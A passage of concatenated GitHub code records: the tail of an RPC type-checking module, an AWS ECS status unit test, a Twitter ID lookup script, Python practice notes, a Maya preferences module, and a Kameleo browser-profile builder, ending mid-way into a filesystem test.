RpcCheckError(\"List value for %s expected to have\"\n \" length %d (got %r)\"\n % (name, self._length, value))\n if self._item_type is not None:\n item_name = 'items of %s' % (name,)\n for item in value:\n self._item_type.check(item_name, item)\n\n\nclass Dict(RpcType):\n jsonrpc_type = 'struct'\n\n def __init__(self, *args, **kw):\n self._item_type = kw.pop('item_type', None)\n self._required_fields = kw.pop('required_fields', {})\n self._optional_fields = kw.pop('optional_fields', {})\n self._closed = kw.pop('closed', False)\n self._no_checks = all(not x for x in (\n self._item_type, self._required_fields, self._optional_fields,\n self._closed))\n super(Dict, self).__init__(*args, **kw)\n\n def nonnull_check(self, name, value):\n if not isinstance(value, dict):\n raise RpcCheckError(\"Dict value expected for %s (got %r)\"\n % (name, value))\n if self._no_checks:\n return\n for key in value:\n field_type = self._required_fields.get(key)\n field_type = (self._optional_fields.get(key)\n if field_type is None else field_type)\n if field_type is None:\n if self._closed:\n raise RpcCheckError(\"Dict received unexpected key %s\"\n \" (got %r)\" % (key, value))\n field_type = self._item_type\n if field_type is not None:\n field_type.check('item %s of %s' % (key, name), value[key])\n for key in self._required_fields:\n if key not in value:\n raise RpcCheckError(\"Dict requires key %s (got %r)\"\n % (key, value))\n\n\nclass Tag(RpcType):\n jsonrpc_type = 'array'\n\n def nonnull_check(self, name, value):\n if not isinstance(value, (list, tuple)):\n raise RpcCheckError(\"Tag %s must be a list or tuple (got %r)\"\n % (name, value))\n if len(value) != 2:\n raise RpcCheckError(\"Tag %s must contain two elements, a pool name\"\n \" and a tag name (got %r)\"\n % (name, value))\n for item in value:\n if not isinstance(item, unicode):\n raise RpcCheckError(\"Tag %s must have unicode pool and tag\"\n \" name (got %r)\" % (name, value))\n", "repo_name": "praekeltfoundation/vumi", "sub_path": "vumi/rpc.py", "file_name": "rpc.py", "file_ext": "py", "file_size_in_byte": 8843, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 416, "dataset": "github-code", "pt": "7", "api": [{"api_name": "inspect.getargspec", "line_number": 26, "usage_type": "call"}, {"api_name": "itertools.izip", "line_number": 39, "usage_type": "call"}, {"api_name": "textwrap.wrap", "line_number": 58, "usage_type": "call"}, {"api_name": "itertools.izip", "line_number": 77, "usage_type": "call"}, {"api_name": "twisted.internet.defer.Deferred", "line_number": 105, "usage_type": "argument"}, {"api_name": "functools.update_wrapper", "line_number": 111, "usage_type": "call"}, {"api_name": "textwrap.wrap", "line_number": 112, "usage_type": "call"}]} {"seq_id": "45339010414", "text": "import boto3\nfrom super_user.lib.tests.utils import *\nfrom botocore.stub import Stubber\nfrom super_user.lib.task_runner.context.ecs.status import ECSRunContextTaskStatus, ECSStatus\nimport datetime\nfrom dateutil.tz import tzlocal\nimport copy\nimport time\nimport contextlib\nimport mock\nfrom unittest import TestCase\n\n\n\nBASE_ARN = \"arn:aws:ecs:us-west-2:408750594584:task/cluster-prod/{}\"\nBASE_TASK_FIXTURE = {\n u'launchType': u'FARGATE',\n u'clusterArn': u'arn:aws:ecs:us-west-2:408750594584:cluster/cluster-prod',\n u'desiredStatus': u'RUNNING',\n u'createdAt': datetime.datetime(2021, 3, 10, 13, 41, 35, 242000, tzinfo=tzlocal()),\n u'taskArn': u'arn:aws:ecs:us-west-2:408750594584:task/cluster-prod/89bb0e82f437457fbd4e5e143002cd84',\n u'group': u'family:atlantis', u'pullStartedAt': datetime.datetime(2021, 3, 10, 13, 42, 16, 109000, tzinfo=tzlocal()),\n u'version': 3, u'memory': u'512', u'connectivityAt': datetime.datetime(2021, 3, 10, 13, 41, 41, 32000, tzinfo=tzlocal()),\n u'startedAt': datetime.datetime(2021, 3, 10, 13, 42, 41, 109000, tzinfo=tzlocal()),\n u'taskDefinitionArn': u'arn:aws:ecs:us-west-2:408750594584:task-definition/atlantis:19',\n u'availabilityZone': u'us-west-2a',\n u'lastStatus': u'RUNNING',\n u'connectivity': u'CONNECTED',\n u'healthStatus': u'UNKNOWN',\n }\n\n\nclass TaskStartMeta(object):\n def __init__(self, age, status=ECSStatus.RUNNING):\n self.age = age\n self.start_time = time.time() - age\n self.status = status\n self.dt = datetime.datetime.fromtimestamp(self.start_time, tzlocal())\n\n def __repr__(self):\n return \"TaskStartMeta(Age: {}, Status: {}, start_time: {})\".format(self.age, self.status, self.start_time)\n\n\nclass TestEcsStatus(TestCase):\n\n def setUp(self):\n super(TestEcsStatus, self).setUp()\n self.logger = logging.getLogger(self.__class__.__name__)\n\n def _task_tags(self, env_id):\n return self._tags(env_id, 'key', 'value')\n\n def _tags(self, env_id, key='Key', value='Value'):\n return [{key: 'env_id', value: env_id}, {key: 'kind', value: 'webscript_env'}]\n\n def generate_mock_task(self, start_time, status, env_id):\n mock_task = copy.copy(BASE_TASK_FIXTURE)\n mock_task['createdAt'] = datetime.datetime.fromtimestamp(start_time, tzlocal())\n mock_task['lastStatus'] = status.value\n mock_task['taskArn'] = BASE_ARN.format(uuid.uuid4())\n mock_task['tags'] = self._task_tags(env_id)\n return mock_task\n\n def generate_task_response(self, tasks):\n return {u'failures': [], u'tasks':tasks}\n\n def generate_resource_response_for_tasks(self, tasks, env_id):\n tags = self._tags(env_id)\n return {\n u'PaginationToken': u'',\n u'ResourceTagMappingList': [{u'ResourceARN': task['taskArn'], u'Tags': tags} for task in tasks]\n }\n\n\n def stubbers_from_tasks(self, tasks, env_id):\n ecs_client = boto3.client('ecs', region_name='us-west-2')\n resource_tagging_client = boto3.client('resourcegroupstaggingapi', region_name='us-west-2')\n ecs_stubber = Stubber(ecs_client)\n resource_stubber = Stubber(resource_tagging_client)\n expected_tags_params = dict(\n TagFilters=[\n {'Key': key, 'Values': [value]} for key, value in self._tags(env_id)],\n ResourceTypeFilters=[\n 'ecs:task',\n ])\n expected_tags_response = self.generate_resource_response_for_tasks(tasks, env_id)\n resource_stubber.add_response('get_resources', expected_params=expected_tags_params, service_response=expected_tags_response)\n\n if tasks:\n ecs_expected_params = ecs_expected_params = dict(cluster=tasks[0]['clusterArn'].split(\"/\")[-1], tasks=[task['taskArn'] for task in tasks])\n ecs_expected_response = self.generate_task_response(tasks)\n ecs_stubber.add_response('describe_tasks', service_response=ecs_expected_response, expected_params=ecs_expected_params)\n\n return resource_stubber, ecs_stubber\n\n @contextlib.contextmanager\n def task_context(self, tasks, env_id):\n resource_stubber, ecs_stubber = self.stubbers_from_tasks(tasks, env_id)\n resource_stubber.activate()\n ecs_stubber.activate()\n yield resource_stubber.client, ecs_stubber.client\n ecs_stubber.deactivate()\n resource_stubber.deactivate()\n\n def _test_num_available_tasks(self, task_start_metas=[], env_id=\"Foo\", task_expiry_age=2400, expected_available=0):\n tasks = [self.generate_mock_task(start_time=task_meta.start_time, status=task_meta.status, env_id=env_id) for task_meta in task_start_metas]\n tags = self._tags(env_id)\n self.logger.info(\"Tasks: {}\".format(task_start_metas))\n self.logger.info(\"With expiry of {}, {} tasks are expected to be available\".format(task_expiry_age, expected_available))\n\n with self.task_context(tasks, env_id) as (resource_tagging_client, ecs_client):\n status = ECSRunContextTaskStatus(tags=tags, resource_tagging_client=resource_tagging_client, ecs_client=ecs_client, task_expiry_age=task_expiry_age)\n self.assertEqual(expected_available, status.num_available_tasks)\n\n def test_non_running_tasks_are_not_available(self):\n tasks = [TaskStartMeta(0, status) for status in [ECSStatus.DEPROVISIONING, ECSStatus.DEPROVISIONING, ECSStatus.STOPPED, ECSStatus. STOPPING]]\n self._test_num_available_tasks(tasks, expected_available=0)\n\n def test_running_tasks_are_available(self):\n tasks = [TaskStartMeta(0, status) for status in [ECSStatus.RUNNING, ECSStatus.PENDING, ECSStatus.PROVISIONING, ECSStatus.ACTIVATING]]\n self._test_num_available_tasks(tasks, expected_available=4)\n\n def test_none_available(self):\n tasks = []\n self._test_num_available_tasks(tasks, expected_available=0)\n\n def test_old_tasks_are_not_available(self):\n tasks = [TaskStartMeta(age, ECSStatus.RUNNING) for age in [0, 600, 1800, 2500, 3000]]\n self._test_num_available_tasks(tasks, expected_available=5, task_expiry_age=4000)\n self._test_num_available_tasks(tasks, expected_available=3, task_expiry_age=2000)\n self._test_num_available_tasks(tasks, expected_available=2, task_expiry_age=1400)\n\n def test_context_refreshes_if_stale(self):\n\n def test_staleness_refresh(staleness, refresh_frequency=30):\n status = ECSRunContextTaskStatus(None, None, refresh_frequency=refresh_frequency)\n status.staleness_in_seconds = lambda: staleness\n with mock.patch.object(status, '_update_task_status') as task_status_call:\n status.task_status\n self.logger.info(\"Staleness: {}, Max staleness: {}, Checking if status refreshed...\".format(staleness, refresh_frequency))\n if staleness > refresh_frequency:\n task_status_call.assert_called_once()\n self.logger.info(\"Refresh called. Success!\")\n else:\n task_status_call.assert_not_called()\n self.logger.info(\"Refresh not called. Success!\")\n\n test_staleness_refresh(0)\n test_staleness_refresh(20)\n test_staleness_refresh(60)\n", "repo_name": "monkeymantra/exec_engine", "sub_path": "lib/tests/test_ecs_task_status.py", "file_name": "test_ecs_task_status.py", "file_ext": "py", "file_size_in_byte": 7364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime", "line_number": 20, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 24, "usage_type": "call"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.RUNNING", "line_number": 34, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus", "line_number": 34, "usage_type": "name"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 38, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 44, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 58, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 76, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 77, "usage_type": "call"}, {"api_name": "botocore.stub.Stubber", "line_number": 78, "usage_type": "call"}, {"api_name": "botocore.stub.Stubber", "line_number": 79, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 96, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSRunContextTaskStatus", "line_number": 112, "usage_type": "call"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.DEPROVISIONING", "line_number": 116, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus", "line_number": 116, "usage_type": "name"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.STOPPED", "line_number": 116, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.STOPPING", "line_number": 116, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.RUNNING", "line_number": 120, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus", "line_number": 120, "usage_type": "name"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.PENDING", "line_number": 120, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.PROVISIONING", "line_number": 120, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.ACTIVATING", "line_number": 120, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus.RUNNING", "line_number": 128, "usage_type": "attribute"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSStatus", "line_number": 128, "usage_type": "name"}, {"api_name": "super_user.lib.task_runner.context.ecs.status.ECSRunContextTaskStatus", "line_number": 136, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 138, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 138, "usage_type": "attribute"}]} {"seq_id": "28691994032", "text": "#!/usr/bin/env python3\n\nfrom twitter import *\nfrom keys import *\nimport argparse\n\nargs = argparse.ArgumentParser()\nargs.add_argument(\"--handle\", default=\"zouharvi\")\nargs = args.parse_args()\n\nt = Twitter(\n auth=OAuth(\n token=ACCESS_TOKEN, token_secret=ACCESS_TOKEN_SECRET,\n consumer_key=API_KEY, consumer_secret=API_KEY_SECRET\n ),\n retry=True,\n)\n\nresponse = t.users.lookup(screen_name=args.handle)[0]\nprint(response[\"screen_name\"], response[\"id\"])\n", "repo_name": "zouharvi/nlproc-twitter", "sub_path": "src/get_my_id.py", "file_name": "get_my_id.py", "file_ext": "py", "file_size_in_byte": 470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}]} {"seq_id": "976797539", "text": "# --------------------------------------Theory----------------------------------------------\n# why oops\n# Till now we are doing a procedure programing\n# On hitting a function from top to bottom our code reaches to function whereever it is\n# When we have some project with more functionality we can break it on servel modules and our team can work on it\n# you cant be a one men army in programming\n# In oops we can divide our task in serval parts and\n# one can manage tham all\n# Its object oriented programming\n\n# How to implement it\n# In oops we have to model real world objects\n# We have to think or\n# 1. what object has (attributes) variable\n# 2. What object does(can do) (methods) function\n# 3. Variables and function are attach to a particula r model thats why\n# it is called method and attributes\n\n# oops ---combining--> data and functionality in same thing\n# we can generate same type of object which follow same bluprint called class\n\n\n# car = CarBluprint() # Creating a car object from a car bluprint\n# audiModel1 = Car() // audimodel1 has car object\n# --------------------Turtle-------------------------------\n# we will be using a bluprint that someone else created called turtle\n# To construct a object we need Class()\n# Here we have imported a Turtle module and inside a turtle module we have a class so we construct a object of it\n# by -> tt = turtle.Turtle()\n# we can access attributes in it by obj.attribute_name\n# we access method by obj.method()\n# --------------------------------Packages--------------------------------\n# This is more than a module , it cointain bunanch if files kept together\n# ---------------------------------------------------------------------------------------------\n# import turtle\n# import turtle\n# from turtle import Turtle,Screen\n# timmy = Turtle()\n#\n# my_sreeen = Screen()\n# print(my_sreeen.canvheight)\n# timmy.shape(\"turtle\")\n# timmy.color(\"red\")\n# turtle.forward(85.00)\n# turtle.circle(25)\n# turtle.write(\"Priyansh\",True,align=\"center\")\n#\n# my_sreeen.exitonclick()\n# --------------------------------------------------------------\nfrom prettytable import PrettyTable\n\ntable = PrettyTable()\n\ntable.field_names = [\"Captain name\", \"Team\", \"Home\", \"Trophys\"]\ntable.add_row([\"Virat Kholi\", \"RCB\", \"Banglore\", 0])\ntable.add_row([\"Rohit\", \"MI\", \"RCB\", 5])\ntable.add_row([\"Shreyash\", \"KKR\", \"RCB\", 2])\ntable.add_row([\"MS Dhoni\", \"CSK\", \"RCB\", 4])\ntable.add_row([\"Hardik Pandya\", \"GT\", \"RCB\", 0])\ntable.add_row([\"Rishab\", \"RCB\", \"DC\", 0])\ntable.add_row([\"Shami\", \"KXIP\", \"Panjab\", 0])\ntable.add_row([\"Williomson\", \"SRH\", \"Hydrabad\", 2])\ntable.align=\"r\"\n\n# print(table)\nprint(table.get_string(sortby=\"Trophys\"))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "Priyanshsharma21/Python", "sub_path": "pythonProject/Day16.py", "file_name": "Day16.py", "file_ext": "py", "file_size_in_byte": 2662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "prettytable.PrettyTable", "line_number": 52, "usage_type": "call"}]} {"seq_id": "31801523608", "text": "\"\"\"\nHold the user preferences related to compounds.\n\nPreference are saved in option variables.\nThey can be individually overwritten with environment variables.\n\nFor example the \"default_author\" entry\ncan be overwritten with OMTK_COMPONENT_DEFAULT_AUTHOR.\n\"\"\"\nimport logging\nimport os\n\nimport six\n\nfrom maya import cmds\n\n_LOG = logging.getLogger(__name__)\n\n_SCHEMA = {\"compound_location\": \"~/.omtk/compounds\", \"default_author\": None}\n_PREFIX = \"omtk.compound.\"\n\n\nclass Preferences(object):\n \"\"\"\n Dict-like object that hold value of preferences.\n\n The mechanism for value resolution is:\n - Use the value provided in the constructor\n - Use the value provided in the environment variable\n - Use the value provided in Maya optionVar\n - Use the default value.\n \"\"\"\n\n def __init__(self, **kwargs):\n self._store = kwargs\n\n # Fail is any provided value is not in the schema\n extra_fields = set(kwargs) - set(_SCHEMA)\n if extra_fields:\n raise ValueError(\n \"The following values are not in the schema: %s\"\n % \", \".join(repr(field) for field in sorted(extra_fields))\n )\n\n def __getitem__(self, item):\n # First try to get the value from a manual override\n try:\n return self._store[item]\n except KeyError:\n pass\n\n # Otherwise try to get the value from the environment\n env_var = self._get_environ_var_name(item)\n try:\n return os.environ[env_var]\n except KeyError:\n pass\n\n # Otherwise try to get the value from Maya optionVar\n option_var = self._get_option_var_name(item)\n if cmds.optionVar(exists=option_var):\n return cmds.optionVar(query=option_var)\n\n # Otherwise return the default value\n return _SCHEMA[item]\n\n def __setitem__(self, key, value):\n self._store[key] = value\n\n @staticmethod\n def _get_environ_var_name(key):\n \"\"\"\n :param str key: The entry key\n :return: The associated environment variable name\n :rtype: str\n \"\"\"\n return (_PREFIX + key).upper().replace(\".\", \"_\")\n\n @staticmethod\n def _get_option_var_name(key):\n \"\"\" Compute an optionVar name from an entry.\n\n :param str key: The entry key\n :return: The optionVar name\n :rtype: str\n \"\"\"\n return _PREFIX + key\n\n def save(self):\n \"\"\" Save all preferences to optionVar. \"\"\"\n for key in _SCHEMA:\n value = self[key]\n # for now, only string values are supported\n if isinstance(value, six.string_types):\n option_var = self._get_option_var_name(key)\n _LOG.debug(\"Saving optionVar %r\", option_var)\n cmds.optionVar(stringValue=(option_var, value))\n\n # def load(self):\n # \"\"\" Load settings from optionVar. \"\"\"\n # for key in self:\n # option_var = self._getOptionVar(key)\n # if cmds.optionVar(exists=option_var):\n # log.debug(\"Loading optionVar %r\", option_var)\n # value = cmds.optionVar(query=option_var)\n # self[key] = value\n\n def uninstall(self):\n \"\"\" Remove all preferences from optionVar. \"\"\"\n for key in _SCHEMA:\n option_var = self._get_option_var_name(key)\n if cmds.optionVar(exists=option_var):\n _LOG.debug(\"Removing optionVar %r\", option_var)\n cmds.optionVar(remove=option_var)\n\n # Properties\n\n @property\n def default_author(self):\n \"\"\"\n :return: The author value to use for new compounds.\n \"\"\"\n return self[\"default_author\"]\n\n @property\n def compound_location(self):\n \"\"\"\n :return: The\n :return:\n \"\"\"\n return os.path.expanduser(self[\"compound_location\"])\n", "repo_name": "renaudll/omtk-compound", "sub_path": "scripts/omtk_compound/core/_preferences.py", "file_name": "_preferences.py", "file_ext": "py", "file_size_in_byte": 3884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 55, "usage_type": "attribute"}, {"api_name": "maya.cmds.optionVar", "line_number": 61, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 61, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 62, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 62, "usage_type": "name"}, {"api_name": "six.string_types", "line_number": 94, "usage_type": "attribute"}, {"api_name": "maya.cmds.optionVar", "line_number": 97, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 97, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 112, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 112, "usage_type": "name"}, {"api_name": "maya.cmds.optionVar", "line_number": 114, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 114, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}]} {"seq_id": "74279130784", "text": "from typing import Optional, Union, IO\n\nfrom kameleo.local_api_client._serialization import JSON\n\n\nclass BuilderForCreateProfile:\n def __init__(self, base_profile_id):\n self.profile_request = self.reset(base_profile_id)\n\n @staticmethod\n def for_base_profile(base_profile_id):\n if not base_profile_id:\n raise ValueError(\"base_profile_id must be set\")\n return BuilderForCreateProfile(base_profile_id)\n\n def build(self):\n result = self.profile_request\n self.profile_request = self.reset(result['baseProfileId'])\n return result\n\n def set_canvas(self, value):\n \"\"\"Tells the mode how the canvas will be spoofed. Possible values:\n 'noise': Add some noise to the Canvas generation.\n 'block': Completely block the 2D API.\n 'off': Turn off the spoofing, use the original settings.\n :param string value: Canvas spoofing type. Possible values: 'noise', 'block', 'off'\n \"\"\"\n self.profile_request['canvas'] = value\n return self\n\n def set_webgl(self, value):\n \"\"\"Set the Webgl spoofing. Possible values:\n 'noise': Add some noise to the WebGL generation\n 'block': Completely block the 3D API\n 'off': Turn off the spoofing, use the original settings\n :param string value: WebGL spoofing type. Possible values: 'noise', 'block', 'off'\n \"\"\"\n self.profile_request['webgl'] = value\n return self\n\n def set_webgl_meta(self, value, options):\n \"\"\"Tells the mode how the WebGL vendor and renderer will be spoofed. Possible values:\n 'automatic': The vendor and renderer values comes from the base profile.\n 'manual': Manually set the vendor and renderer values.\n 'off': Turn off the spoofing, use the original settings.\n :param string value: WebGLMeta spoofing type. Possible values: 'automatic', 'manual', 'off'\n :param options: When the WebglMeta spoofing is set to manual the webgl gpu vendor and renderer is required. For example: Google Inc. (NVIDIA)/ANGLE (NVIDIA, NVIDIA GeForce GTX 1050 Ti Direct3D11 vs_5_0 ps_5_0, D3D11)\n :type options: ~kameleo.local_api_client.models.WebglMetaSpoofingOptions\n \"\"\"\n self.profile_request['webglMeta']['value'] = value\n self.profile_request['webglMeta']['extra'] = options\n return self\n\n def set_audio(self, value):\n \"\"\"Tells the mode how the audio will be spoofed. Possible values:\n 'noise': Add some noise to the Audio generation.\n 'block': Completely block the Audio API.\n 'off': Turn off the audio spoofing, use the original settings.\n :param string value: Audio spoofing type. Possible values: 'noise', 'block', 'off'\n \"\"\"\n self.profile_request['audio'] = value\n return self\n\n def set_timezone(self, value, options):\n \"\"\"Tells the mode how the Timezone will be spoofed. Possble values:\n 'automatic': Timezone is automatically set by the IP\n 'manual': Timezone is manually overridden in the profile\n 'off': Turn off the spoofing, use the original settings\n :param string value: Timezone spoofing type. Possible values: 'automatic', 'manual', 'off'\n :param str options: When the Timezone spoofing is set to manual the timezone in Iana format is required. For example: America/Grenada\n \"\"\"\n self.profile_request['timezone']['value'] = value\n self.profile_request['timezone']['extra'] = options\n return self\n\n def set_geolocation(self, value, options):\n \"\"\"Tells the mode how the Geolocation will be spoofed. Possible values:\n 'automatic': Automatically set the values based on the IP address\n 'manual': Manually set the longitude and latitude in the profile\n 'block': Completely block the GeolocationAPI\n 'off': Turn off the spoofing, use the original settings\n :param string value: Geolocation spoofing type. Possible values: 'automatic', 'manual', 'block', 'off'\n :param options: When the Geolocation spoofing is set to manual the Geolocation coordinates must be provided\n :type options: ~kameleo.local_api_client.models.GeolocationSpoofingOptions\n \"\"\"\n self.profile_request['geolocation']['value'] = value\n self.profile_request['geolocation']['extra'] = options\n return self\n\n def set_proxy(self, value, options):\n \"\"\"Proxy connection settings of the profiles. Possible values:\n 'none': Direct connection without any proxy.\n 'http': Use a HTTP(S) proxy for upstream communication.\n 'socks5': Use a SOCKS5 proxy for upstream communication.\n 'ssh': Use an SSH connection for upstream communication. Basically a SOCKS5 proxy created at the given SSH host.\n :param string value: Proxy connection type. Possible values: 'none', 'http', 'socks5', 'ssh'\n :param options: When the Proxy connection is set, a Proxy Server must be provided\n :type options: ~kameleo.local_api_client.models.Server\n \"\"\"\n self.profile_request['proxy']['value'] = value\n self.profile_request['proxy']['extra'] = options\n return self\n\n def set_web_rtc(self, value, options):\n \"\"\"Tells the mode how the WebRTC will be spoofed. Possible values:\n 'automatic': Automatically set the webRTC public IP by the IP, and generates a random private IP like '2d2f78e7-1b1e-4345-a21b-07c904c98394.local'\n 'manual': Manually override the webRTC public IP and private IP in the profile\n 'block': Block the WebRTC functionality\n 'off': Turn off the spoofing, use the original settings\n :param string value: WebRTC spoofing type. Possible values: 'automatic', 'manual', 'block', 'off'\n :param options: When the WebRTC spoofing is set to manual, the private_ip and public_ip must be provided\n :type options: ~kameleo.local_api_client.models.WebRtcSpoofingOptions\n \"\"\"\n self.profile_request['webRtc']['value'] = value\n self.profile_request['webRtc']['extra'] = options\n return self\n\n def set_fonts(self, value, options):\n \"\"\"Tells the mode how the Fonts will be spoofed. Possible values:\n 'enabled': Enable fonts spoofing. A list can be provided to override the fonts coming from the base profile.\n 'disable': Disable fonts spoofing.\n :param string value: Fonts spoofing type. Possible values: 'enabled', 'disabled'\n :param options: When the Font spoofing is set to enabled, a list can be provided to overrider the fonts coming from the base profile.\n :type options: list[str]\n \"\"\"\n self.profile_request['fonts']['value'] = value\n self.profile_request['fonts']['extra'] = options\n return self\n\n def set_start_page(self, value):\n \"\"\"This website will be opened in the browser when the profile launches.\n :param string value: The url of the start page\n \"\"\"\n self.profile_request['startPage'] = value\n return self\n\n def set_password_manager(self, value):\n \"\"\"Enable or disable the password manager function in the browser. Possible values:\n 'enabled': Enable password manager so browser will ask to save and load passwords on logins.\n 'disable': Disable password manager.\n :param string value: Password Manager possible values: 'enabled', 'disabled'\n \"\"\"\n self.profile_request['passwordManager'] = value\n return self\n\n def set_screen(self, value, options):\n \"\"\"Tells the mode how the screen will be spoofed. Possible values:\n 'automatic': Automatically override the screen resolution based on the Base Profile.\n 'manual': Manually override the screen resolution.\n 'off': Turn off the spoofing, use the original settings.\n :param string value: Screen spoofing type. Possible values: 'automatic', 'manual', 'off'\n :param string options: When the Screen spoofing is set to manual, the required screen size must be provided. For example: 1080x1920\n \"\"\"\n self.profile_request['screen']['value'] = value\n self.profile_request['screen']['extra'] = options\n return self\n\n def set_extensions(self, absolute_paths):\n \"\"\"A list of absolute paths from where the profile should load extensions or addons when starting the browser. For chrome and edge use CRX3 format extensions. For firefox use signed xpi format addons.\n :param absolute_paths: A list of abolute paths from where the profile should load extensions or addons when starting the browser.\n :type absolute_paths: list[str]\n \"\"\"\n self.profile_request['extensions'] = absolute_paths\n return self\n\n def set_notes(self, notes):\n \"\"\"A free text including any notes written by the user.\n \"\"\"\n self.profile_request['notes'] = notes\n return self\n\n def set_name(self, name):\n \"\"\"Sets the name of the profile.\n \"\"\"\n self.profile_request['name'] = name\n return self\n\n def set_tags(self, tags):\n \"\"\"Sets the tags of the profile.\n \"\"\"\n self.profile_request['tags'] = tags\n return self\n\n def set_launcher(self, browser_launcher):\n \"\"\"The mode how the profile should be launched. It determines which browser to launch. This cannot be modified after creation.\n Possible values for Desktop profiles 'automatic'.\n Possible values for Mobile profiles: 'chromium', 'external'.\n :param string browser_launcher: Browser Launcher. Possible values: 'automatic', 'external'\n \"\"\"\n self.profile_request['launcher'] = browser_launcher\n return self\n\n def set_recommended_defaults(self):\n \"\"\"This sets all the profile options to the defaults recommended by Kameleo Team. Please consider providing Proxy settings to your profile.\n \"\"\"\n self.profile_request['name'] = \"\"\n self.profile_request['canvas'] = \"intelligent\"\n self.profile_request['webgl'] = \"off\"\n self.profile_request['webglMeta']['value'] = \"automatic\"\n self.profile_request['audio'] = \"off\"\n self.profile_request['timezone']['value'] = \"automatic\"\n self.profile_request['geolocation']['value'] = \"automatic\"\n self.profile_request['webRtc']['value'] = \"automatic\"\n self.profile_request['fonts']['value'] = \"enabled\"\n self.profile_request['screen']['value'] = \"automatic\"\n self.profile_request['launcher'] = \"automatic\"\n\n return self\n\n def reset(self, base_profile_id) -> Optional[Union[JSON, IO]]:\n data = {\n \"baseProfileId\": base_profile_id,\n \"canvas\": \"off\",\n \"webgl\": \"off\",\n \"webglMeta\": {\n \"value\": \"off\",\n \"extra\": None\n },\n \"audio\": \"off\",\n \"timezone\": {\n \"value\": \"off\",\n \"extra\": None\n },\n \"geolocation\": {\n \"value\": \"off\",\n \"extra\": None\n },\n \"proxy\": {\n \"value\": \"none\",\n \"extra\": None\n },\n \"webRtc\": {\n \"value\": \"off\",\n \"extra\": None\n },\n \"fonts\": {\n \"value\": \"disabled\",\n \"extra\": None\n },\n \"screen\": {\n \"value\": \"off\",\n \"extra\": None\n },\n \"passwordManager\": \"disabled\"\n }\n return data\n", "repo_name": "kameleo-io/local-api-client-python", "sub_path": "kameleo/local_api_client/builder_for_create_profile.py", "file_name": "builder_for_create_profile.py", "file_ext": "py", "file_size_in_byte": 11756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 43, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Optional", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 210, "usage_type": "name"}, {"api_name": "kameleo.local_api_client._serialization.JSON", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.IO", "line_number": 210, "usage_type": "name"}]} {"seq_id": "74616397051", "text": "import harness\nfrom pathlib import Path\nimport errno\nimport stat\nimport os\nimport ctypes\nimport sh\nimport sys\nimport pytest\nfrom harness.logger import logger\n\nnonexisting = \"nonexisting\"\n\n\n#@pytest.mark.xfail(reason=\"invalid errno returned on success\")\ndef 